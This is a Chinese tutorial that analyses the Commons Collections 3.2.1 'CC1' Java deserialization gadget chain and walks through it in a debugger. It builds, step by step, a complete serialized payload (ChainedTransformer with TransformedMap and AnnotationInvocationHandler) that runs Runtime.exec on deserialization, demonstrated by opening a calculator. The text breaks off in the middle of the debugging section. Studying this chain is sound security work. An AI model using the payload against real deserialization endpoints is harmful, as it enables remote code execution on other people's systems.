文章目录
- 1 你必须知道的点
- 1.1 反序列化利用链的起点是readObject()方法
- 1.2 回顾反射执行系统命令
- 1.3 相关类の功能简单介绍
- 1.3.1 InvokerTransformer类
- 1.3.2 ChainedTransformer类
- 1.3.3 ConstantTransformer类
- 1.3.4 总结一下上述3个类调用`transform()`方法的不同
- 2 CC1链的环境准备
- 2.1 版本问题
- 2.2 搭建项目
- 3 CC1链分析
- 3.1 InvokerTransformer#transform方法
- 3.2 TransformedMap#checkSetValue方法
- 3.2.1 valueTransformer的获取
- 3.2.2 checkSetValue方法的调用
- 3.2.2.1 传入的“value”是什么?
- 3.2.2.2 setValue怎么调用?
- 3.2.2.3 “parent”怎么获取?
- 4 动态调试
- 4.1 进入反序列化readObject()
- 4.2 遍历TransformedMap(memberValues)
- 4.3 拿到TransformedMap(memberValues)的第一个entry后的代码
- 4.4 进入利用链触发点【核心逻辑】
- `4.4.1 memberValue.setValue()`
- `4.4.2 checkSetValue()`
- 4.4.3 ChainedTransformer.transform()
- 4.4.3.1 ConstantTransformer.transform()
- 4.4.3.2 InvokerTransformer.transform()
- 4.4.3.3 InvokerTransformer.transform()
- 4.4.3.4 InvokerTransformer.transform()
- 4.4.3.5 代码执行
- 5 总结
- 5.1 涉及的各个对象的属性值
- 5.2 不同Transformer对象调用不同transformer()方法
- 5.3 恶意代码触发的方法调用链
- 5.4 为什么new ConstantTransformer(Runtime.class)的transformer可以解决了 runtime对象无法传入的问题
- 6 参考链接
1 你必须知道的点
1.1 反序列化利用链的起点是readObject()方法
Java的序列化机制允许将对象的状态保存到一个字节流中,之后可以从这个字节流中恢复(或“反序列化”)出对象。这个过程中,ObjectInputStream
类负责读取这些字节流,并尝试根据包含的类型信息重新创建对象。为了支持复杂对象和自定义类型,Java提供了自定义反序列化过程的能力,这通常通过重写readObject()
方法来实现。
也就是说我们可以通过在将要被序列化或反序列化的类中定义readObject方法,来实现自定义的反序列化操作,当然前提是,被序列化的类必须有此方法,并且方法的修饰符必须是private。
序列化则自定义writeObject方法。
当ObjectInputStream
读取到一个可序列化的对象时,如果该类定义了readObject()
方法,则会调用该方法来完成反序列化过程。因此,如果readObject()
方法中存在不安全或未经验证的代码(如直接反序列化用户控制的数据),那么就会执行内部的代码,那么它就可能成为反序列化利用链的起点。
一句话总结就是:如果一个类自定义了readObject()
方法,则该类在反序列化时就会调用该方法完成反序列化过程,如果该方法中存在“恶意代码”,也会执行。所以,自定义了readObject()
方法的类就是我们寻找的入口点。
反序列化利用链形象比喻一下~
- eadObject为反序列化入口点。
- 些方法存在命令执行的可能性。
- 反序列化利用链就是需要将readObject及存在命令执行的方法联系在一起。
- 就像走迷宫,readObject为入口,存在命令执行的方法为出口,从入口到出口就形成了一条链(利用链)。
- 我们在找链的时候,就可以从两个方面找,从入口或者出口找,或者两头并进。
1.2 回顾反射执行系统命令
直接执行命令:
String[] command = {"open","-a","/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Runtime.getRuntime().exec(command);
反射执行命令:
Class clazz = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
runtime.exec("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator");
1.3 相关类の功能简单介绍
提前了解下,后面分析时不晕!!
1.3.1 InvokerTransformer类
InvokerTransformer
类在实例化时,赋值iMethodName、iParamTypes和iArgs。- 使用
InvokerTransformer
对象调用transform()
方法,会以反射的方式执行任意方法。
举个例子:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);
上述内容,相当于执行了:
Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform()内部执行了
Class cls = runtime.getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
return method.invoke(runtime, new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
会通过反射方式执行弹出计算器操作。
1.3.2 ChainedTransformer类
ChainedTransformer
类在实例化时,会传入Transformer[]
数组,并将值transformers
赋值给iTransformers
。- 使用
ChainedTransformer
对象调用transform()
方法,会挨个执行transformers
数组元素transformer
的transform()
方法,其参数为传入的object对象。 - 也就是说,单独执行
transformer.transform()
和将transformer
放入数组中执行ChainedTransformer.transform()
效果是一样的。 - 还有一个非常重要的点:每次循环获得的
object
会当做参数传给下一个transform()
,也就是数组中的transformer
是有前后联系的,不是单独的。
1.3.3 ConstantTransformer类
ConstantTransformer
类在实例化时,会传入一个对象赋值给iConstant
属性。- 当
ConstantTransformer
对象调用transform()
方法时,不管传入什么,都将返回一个固定的值,即实例化时传入的对象,即iConstant
属性值。
1.3.4 总结一下上述3个类调用transform()
方法的不同
上述3个类都实现了Transformer
接口,并都重写了transform()
方法,因此在调用transform()
方法时,会有不同的执行结果。
并且上述3个类都实现了Serializable
接口,可被序列化和反序列化。
InvokerTransformer.transform()
- 以反射方式执行任意方法
ChainedTransformer.transform()
- 遍历链内部的所有
Transformer
执行transform()
- 前一个执行
transform()
的结果当做后一个transform()
方法的参数传入
ConstantTransformer.transform()
- 返回固定值,值为构造方法传入的参数值
2 CC1链的环境准备
2.1 版本问题
CC1链主要利用的是Apache Commons Collections 3.2.1
版本中的一个反序列化漏洞。
CC1链在JDK 8u71及之后的版本中被修复,因此需要使用JDK 8u71之前的版本
。
JDK下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
这里选择了JDK 8u66
。
2.2 搭建项目
1)创建一个mevan项目,JDK选择8u66
2)pom.xml添加commons-collections 3.2.1
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
3)准备JDK源码,方便调试
下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载解压之后将文件中的sun目录(具体路径为jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes
)放入JDK 8u66的家目录下。
然后在项目中的SDKs中配置sun目录为Classpath,如图。
3 CC1链分析
3.1 InvokerTransformer#transform方法
先定位到InvokerTransformer#transform方法。
为什么要定位到这里?因为这个方法是CC1的执行恶意命令的位置。
前辈们怎么发现的这里?(猜测:)用的多了就发现了…(这里就是前面所说的迷宫的出口)。
可以发现transform
方法,接收一个Object参数,然后对该Object通过反射获取其类对象
,然后获取其方法对象
,之后invoke
调用该方法。涉及的核心代码为59-61行,如下:
这里明显就是通过反射调用传递进来的对象的某个方法来执行~
这里面涉及到几个参数
this.iMethodName
:反射使用的方法名(方法名)this.iParamTypes
:反射使用的方法的参数类型列表(参数类型)this.iArgs
:被调用方法的参数列表(参数值)
这几个参数都是this.开头的,所以是由该类InvokerTransformer
的构造函数赋予其值的。
找一下构造函数:
有了这些,我们就可以简单写一下利用代码:(来打开本地计算器)
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);
这里是可以执行命令的,但是这样还不行,因为我们最终需要找到readObject()
方法处,也就是反序列时执行readObject()
方法,进而自动执行transform()
方法才行。
也就是:后面的代码不能使用
invokerTransformer.transform(runtime);
方式调用transform
了。
接下来需要找一下哪个位置有调用transform()
方法:选中方法,右击-“Find Usages”可查看方法的调用情况
📌这里有个小坑:如果“Find Usages”查询不到,需要将commons-collections 3.2.1的sources包下载下来,如果下载不了,可以手动下载导入。
我们需要寻找不同名字调用的transform()
方法,如果是transform 再调用 transform 是没有意义的(无限循环了),因为我们最后的目标是要回到readObject()
中。
这里看到TransformedMap
中有部分方法调用了transform()
方法,点进去看一看,以checkSetValue
方法为例:
3.2 TransformedMap#checkSetValue方法
这里有两个问题需要解决:
- 1)
checkSetValue
方法是protected修饰的,无法直接调用,需要找到调用该方法的位置 - 2)方法中是valueTransformer调用的
transform()
方法,所以需要知道valueTransformer怎么来的
也就是:如果能够调用
checkSetValue
方法,并且存在valueTransformer,transform()
会自动触发。
3.2.1 valueTransformer的获取
我们先解决第2个问题,找一下valueTransformer怎么来的:
Ctrl+左键找到valueTransformer的赋值位置
是TransformedMap的构造方法赋值的,但是该方法是protected修饰
问题又来了,既然是protected修饰的,那如何实例化TransformedMap的?这里肯定有别的方式调用了该构造方法(protected修饰:只有同一个包中的类可以访问)。那就找一下,在当前类中搜索一下
发现存在一个静态方法decorate()
实例化了TransformedMap,触发构造方法。
好!那么简单的流程就出来了:
- 调用decorate静态方法→TransformedMap实例化→触发TransformedMap构造方法→valueTransformer的赋值
接下来,看一下decorate()
方法的参数需要什么:1个Map,2个Transformer。
- 其中
decorate()
方法的第3个参数比较重要,因为第三个参数赋值给了this.valueTransformer,valueTransformer去调用了transform方法,这里和之前的代码联系起来,即之前写的invokerTransformer.transform(runtime);
能够触发执行恶意代码,因此这里第3个参数的值也就明了了,即传入invokerTransformer
,这样最终还会执行invokerTransformer.transform(runtime);
这段代码。 - map传递给了父类,跟下去会发现,不能为空,那就随便创建一个Map传进去。
- 第1个Transformer还不知道具体作用,先传入null,后面用到再说。
那我们可以将之前的利用代码修改如下:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform(runtime); // 这里不能再用了(前面有原因介绍)
Map map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// 到此还不行,仅仅调用decorate只是给valueTransformer赋了值,transform还没有被触发
// 想触发transform,需要调用checkSetValue(由3.1中最后一张图可知)
问题:decorate
方法的第3个参数为什么传递要进入InvokerTransformer实例
?
- 第1:
decorate
方法的第3个参数为valueTransformer,valueTransformer的值是Transformer类型,而InvokerTransformer实现了Transformer接口,所以InvokerTransformer实例化出来的对象也属于Transformer类型,因此InvokerTransformer实例符合此处的类型。 - 第2:第3个参数valueTransformer最终是调用了transform方法,即传入
InvokerTransformer
,会执行invokerTransformer.transform(runtime);
进而能够出发恶意代码
3.2.2 checkSetValue方法的调用
同样,回到TransformedMap
类,通过Find Usages查看一下checkSetValue方法的调用
只有一个结果,即在AbstractInputCheckedMapDecorator.MapEntry#setValue
中有调用
可以看到,要想控制checkSetValue()
方法的调用,需要控制setValue()
方法调用,包含value值的传入,并且需要一个“parent”。
- setValue怎么调用?
- 传入的“value”是什么?
- “parent”怎么获取?
3.2.2.1 传入的“value”是什么?
从前面的一路追溯下来,这个传入的“value”,最终会作为参数传递给transform()
方法。
传入的过程如下,这里用A代表该值
setValue(A)-->checkSetValue(A)-->transform(A)
所以这里还是传入runtime
,才能执行恶意代码。
3.2.2.2 setValue怎么调用?
这里有两个思路:
- 创建对象来调用
- 搜索setValue方法的调用栈
根据链子要求,第一种方式“创建对象来调用”不符合要求,因为这样不会涉及到readObject()。不过没关系,先用第一种方式试一下,目的是为了测试调用setValue()会不会触发最后的命令执行。
- 当然,答案是可以的!这部分也可以忽略不看,但建议看一下帮助理解。
1)创建对象的方式调用setValue()方法
先分析一下过程:
想调用checkSetValue方法,需要调用AbstractInputCheckedMapDecorator内部类MapEntry对象的setValue()方法;
怎么才能调用该setValue()方法呢?
需要有一个MapEntry对象,怎么得到这个对象?
通过搜索 new MapEntry,发现需要EntrySetIterator对象的next()方法
EntrySetIterator对象怎么来?实例化呗!
同样搜索new EntrySetIterator,发现需要EntrySet对象的iterator()方法
EntrySet对象怎么来?实例化呗!
同样搜索new EntrySet,发现需要AbstractInputCheckedMapDecorator对象的entrySet()方法
但是AbstractInputCheckedMapDecorator是抽象,无法实例化对象,因此需要找子类对象来调用该entrySet()方法(注意:不是子类重写的entrySet()方法,这是不一样的)。
Ctrl+左键点下AbstractInputCheckedMapDecorator类查看下:
发现这里有一个子类TransformedMap(前面遇到过)。
刚好,自己写的代码中已经得到了transformedMap,直接调用即可(注意:这里不是调用TransformedMap中的entrySet(),调的还是父类的,子类调父类)
调用transformedMap.entrySet()会得到EntrySet对象
再调用iterator()方法会得到EntrySetIterator对象
再调用next()方法会得到MapEntry对象
再调用setValue()方法即会触发checkSetValue()
方法的调用
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);
哦?45行报错了,原因其实很简单,因为transformedMap调用这些方法,其实是为了遍历传入的map的元素(TransformedMap.decorate(map, null, invokerTransformer)中的map)
而在next()时发现,没有元素,所以报错了,解决方法就是put一个元素即可。修改一下代码:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);
执行一下,发现可以成功执行到setValue(runtime),进而触发checkSetValue()
方法的调用,命令执行成功。
上面这个过程,可以使用for循环来代替(其实这里就是map的遍历过程)
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// System.out.println(transformedMap.entrySet().getClass());
// System.out.println(transformedMap.entrySet().iterator().getClass());
// System.out.println(transformedMap.entrySet().iterator().next().getClass());
// transformedMap.entrySet().iterator().next().setValue(runtime);
// 上面这个过程,可以使用for循环来代替(其实这里就是map的遍历过程)
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
上面调用setValue是我们创建对象调的,但是还不行,咱们要找readObject,反序列化时自动调用 。
这里只是演示:调用setValue是可以执行命令的。
2)搜索setValue方法的调用栈
通过Find Usages查看一下setValue方法的调用
发现这里存在一个AnnotationInvocationHandler#readObject方法中有调用(当然还有其他的)。等等,readObject方法,并且是private修饰!?这不正式我们要找的“入口点”嘛!
也就是说,我们实例化一个AnnotationInvocationHandler对象,然后序列化之后得到字节流,然后反序列化就会执行readObject其中的代码,进而执行其中的setValue方法,形成闭环!
点进去看一下:
AnnotationInvocationHandler
的构造函数中需要两个参数,一个Annotation的类,一个Map。
什么是Annotation的类?
Annotation是注解,就是我们平时用的@Override、@Test、@Target这些,而为了通用性,我们用一个jdk自带的,比如@Override。
这个Map(memberValues)比较重要,由代码可知,memberValues内部的每一个entry会被遍历出来:memberValues.entrySet()
,并调用其setValue:memberValue.setValue()
。
但是Map和其每一个entry又有什么用?随意一个都行?还是必须是特定的?这里得说一下:
- 代码中
memberValue.setValue()
的setValue()
不就是前面分析的MapEntry
类中的setValue()
嘛; transformedMap.entrySet()
遍历之后,执行entry.setValue(runtime);
会执行恶意代码;而这里memberValues.entrySet()
遍历之后,执行memberValue.setValue()
。这里很明显格式是一样的。
也就是说,只需要让transformedMap
等于memberValues
就可以实现恶意代码执行。
怎么做呢?这里需要看一下memberValues
怎么赋值的:
可以看到,是通过AnnotationInvocationHandler
的构造函数赋值,所以在实例化AnnotationInvocationHandler
对象时,传入transformedMap
即可。
并且可以发现AnnotationInvocationHandler
类没有被修饰,即default类型,所以没办法通过名称来获取,只能通过反射获取。
因此,反射这个类的示例代码大概如下:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);
将代码合并一下,得到:
@Test
public void test3() throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);
serialize(obj); // 序列化
unserialize("ser1.bin"); // 反序列化
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
上面加上了序列化和反序列测试代码,方便测试。
执行以下,发现并没有成功。
其实这里面还是有很多问题的,比如明面上可以看出来的:
- runtime对象好像闲置了,并没有用上!
ok,不管runtime,先打个断点,调试一下~
- 在unserialize(“ser1.bin”)处打断点进去就行,主要看反序列化过程:
- 调试过程就不演示了,如果想看,后面有完整的调试过程。
在调试到AnnotationInvocationHandler类的readObject()
方法的if (memberType != null) 处时发现进不去if语句内部,那跟别提执行内部的setValue了。
什么原因呢?很明显,因为memberType为空!
接下来分析下memberType怎么来的:
从上面看到
memberType的值和下面三行代码有关
annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);
其中type参数是AnnotationInvocationHandler构造方法传进来的,这个不就是我们代码中反序列化创建AnnotationInvocationHandler对象时写的Override.class吗!
难道和Override有关?是的!这三个语句其实就是从注解之后获取对应的属性,如果有则会进if,没有则进不去。(这里先不进去调试看了,文章后面专门整一部分调试这段代码)
而这个@Override是没有的
那换个有的,比如@Target注解,其中有个value。
改写代码如下,只是在之前的基础上把Override.class修改成了Target.class
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance( Target.class , transformedMap);
serialize(obj);
unserialize("ser1.bin");
重新调试下,看是否可行,调试下来发现,还是不行,原来memberType还是为null
再分析下,原来上面语句是通过get(name)获取,而name是我们反射实例化AnnotationInvocationHandler对象时传入的map元素的key值,而我们执行的是map.put(“key”,“value”),key值为“key”,而@Target注解中有名为“key”的属性吗?并没有,只有一个value。
所以解决方法也简单,map.put时放入一个key为“value”的即可,value任意,比如
map.put("value","I am leyilea!");
代码修改如下:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser1.bin");
重新调试下,发现可以正常进入if语句,并且能够成功执行memberValue.setValue()
方法。
但是这里也有些问题,memberValue.setValue()
的参数是什么?我们在前面分析得知,memberValue.setValue()
需要传入runtime才行,即memberValue.setValue(runtime)
。
而这里setValue()
的参数为AnnotationTypeMismatchExceptionProxy类型对象,且不可控。
那runtime对象该怎么传进去呢?
并且还有另一个问题,大家有没有想过:(说的可能有点绕,好好理解下)
我们想传入的是 runtime对象,而我们现在是在进行反序列化的调试,想要runtime对象传递进去,肯定是在反序列化之前就进去了 ,也就是在生成对象的时候就放进去了。
那问题来了,即使我们在生成对象时放进去了,runtime对象也无法序列化,导致最终的对象也无法序列化!
所以,这个问题就是runtime对象无法被序列化!
这个其实好解决,runtime对象无法序列化,但是class可以序列化,所以可以使用反射:
- Runtime没有实现Serializable
- Class有实现Serializable
反射创建一个runtime对象:
// Runtime runtime = Runtime.getRuntime();
Class aClass = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
??? 逗我呢??? 这不还是一个runtime,还是传不进去,即使传进去了,也无法序列化!
所以得有一个方式,将上述代码在 AnnotationInvocationHandler
对象序列化的时候,执行生成runtime对象,而不是提前生成!!
怎么才能在AnnotationInvocationHandler
对象序列化的时候,执行上述代码呢?
还记得 InvokerTransformer 的transformer,它不就是能够执行任意方法嘛!然后返回一个invokerTransformer对象,传给TransformedMap.decorate()就能执行了 。
那我们可以将上述的代码改写一下:(忘记的可以回到前面看一下写法)
- 注意
Class aClass = Runtime.class
改写不了~
Class aClass = Runtime.class;
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method getRuntime = (Method)invokerTransformer1.transform(aClass);
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime runtime = (Runtime)invokerTransformer2.transform(getRuntime);
这???不还是这样??? 发现绕不开这个runtime 对象
那我直接执行呢?把exec 执行代码的InvokerTransformer加上
Class aClass = Runtime.class;
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method getRuntime = (Method)invokerTransformer1.transform(aClass);
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime runtime = (Runtime)invokerTransformer2.transform(getRuntime);
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
invokerTransformer.transform(runtime);
上述这段代码,运行是可以执行命令的(注意:只有这段就行,不用带后面未展示的代码)
Ok!!! 运行可以执行命令,但是,这样也不行啊,transform不能自己调用啊,又回去了!!!
嘿嘿!这不就是之前的东西嘛,利用 TransformedMap.decorate!!
那这里又出现问题了?
上面一共调用了三次 transform,难道这里调用3次 TransformedMap.decorate
那这样就会得到3个transformedMap,那就需要3个AnnotationInvocationHandler对象!!!
玩犊子!!!
没关系,有救!!! 有没有发现 前面的调用有一个规律,第1个的结果是 第2个的 参数,依次都是!!!!
这刚好符合 ChainedTransformer 链式调用的特点,刚好可以改成 ChainedTransformer方式 (忘记的,回去看一看) 。
改写下代码:
- 这里就不用执行transform()方法了,想执行也执行不了。
- 这里只是生成一下ChainedTransformer 链
Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
有了这里链之后,怎么办呢?
最终是得调用transform,也就是传递进TransformedMap.decorate()中,
这里其实可以将chainedTransformer传进去,传进去之后,会调用chainedTransformer.transform() ,
这个时候,会调用ChainedTransformer的transform()方法,即遍历transform并执行不同transform的transform()方法。(ChainedTransformer类特点忘记的,回去看下咯)
OK ! 将 TransformedMap.decorate(map, null, invokerTransformer)
修改成 TransformedMap.decorate(map, null, chainedTransformer)
此时的完整代码是:
Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer );
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser1.bin");
结果还是不能执行代码,很明显,上面的aClass没有用到,它需要传递给TransformerArray第一个元素的transform()
方法当参数!
想这样做的话,需要有一个transform放到链中,并且输出结果必须是Runtime.class。
怎么办?
刚好有一个transform类:ConstantTransformer类,它的transform方法,可以返回一个常量,即构造ConstantTransformer对象时传入的值 。(ConstantTransformer类特点忘记的,回去看!)
OK ! 代码改写如下:
Transformer[] TransformerArray = new Transformer[]{
// 搞定!!!!!,其实这里还间接解决了 runtime对象无法传入的问题!后面调试时分析
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser1.bin");
反序列化时成功执行命令!
3.2.2.3 “parent”怎么获取?
在这里可以看到,parent
为MapEntry
类的构造方法传入,而MapEntry
类是static修饰的,为静态内部类。
那我们就看一下在哪个位置有实例化MapEntry
,直接Ctrl+左键看一下,有3个位置实例化了,
3个都看一下,发现最终都到了EntrySet类,而该类的实例化在entrySet
方法上。
这里实例化传入的this
就是前面所说的parent
,而this
表示的就是调用该entrySet
方法的对象,谁调用就是谁。
而要调用entrySet
方法,则需要一个AbstractInputCheckedMapDecorator
类的实例
但是我们发现,AbstractInputCheckedMapDecorator
类时抽象类(abstract修饰)。也就是说需要其子类实例化来调用了~
可以点击一下前面的“标识”看一下子类:
发现有一个“TransformedMap”,这好像又回去了!不过没关系!这不是刚刚好,TransformedMap
类的实例对象不正是前面所说的transformedMap
,具体参考之前写的代码,即下面这行:
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
也就是说,使用transformedMap去调用entrySet
,this
就是transformedMap对象本身,也就是我们所找的parent
。
4 动态调试
4.1 进入反序列化readObject()
从objectInputStream.readObject()
开始进入反序列化
调用AbstractInputCheckedMapDecorator()
构造方法
并调用其父类AbstractMapDecorator()
构造方法
返回到AbstractInputCheckedMapDecorator()
调用TransformedMap
类的readObject()
方法
这里没什么,其中map为“value -> I am Leyilea!”
执行AnnotationInvocationHandler
类的readObject()
方法
readObject()
方法for循环前面的过程略过,不重要- 其中
memberValues
大小为1,内容为 put进入的HashMap:value
4.2 遍历TransformedMap(memberValues)
- TransformedMap元素为HashMap:value–>I am leyilea!
- 这里和整个利用链关系不大,可以略过(其实就是map的遍历拿entry的过程)
调用AbstractInputCheckedMapDecorator
的entrySet()
方法
进入EnteySet()
构造函数
- 其中parent为TransformMap:value -> I am Leyilea!
结束回到AbstractInputCheckedMapDecorator
的entrySet()
方法return
调用AbstractInputCheckedMapDecorator
的子类MapEntry
的iterator()
方法
进入AbstractInputCheckedMapDecorator
的子类EntrySetIterator
的EntrySetIterator()
构造方法
进入父类AbstractIteratorDecorator
的AbstractIteratorDecorator()
构造方法
- 将HashMap对象的Entryitarator对象赋值给itarator
返回到AbstractInputCheckedMapDecorator
的子类EntrySetIterator
的EntrySetIterator()
构造方法
返回到AbstractInputCheckedMapDecorator
的子类MapEntry
的iterator()
方法
调用AbstractIteratorDecorator
类的hasNext()
方法
调用AbstractInputCheckedMapDecorator
的子类EntrySetIterator
的next()
方法
进入AbstractInputCheckedMapDecorator
的子类MapEntry
的MapEntry()
构造方法
进入父类AbstractMapEntryDecorator
的构造方法
- 赋值entry
返回到AbstractInputCheckedMapDecorator
的子类MapEntry
的MapEntry()
构造方法
返回到AbstractInputCheckedMapDecorator
的子类EntrySetIterator
的next()
方法
4.3 拿到TransformedMap(memberValues)的第一个entry后的代码
返回到AnnotationInvocationHandler
类的readObject()
方法的for循环内部
代码步骤如下
- 获取entry的key:value
- 通过key获取类型:注解类型
- 判断类型是不是为空
- 不为空进入
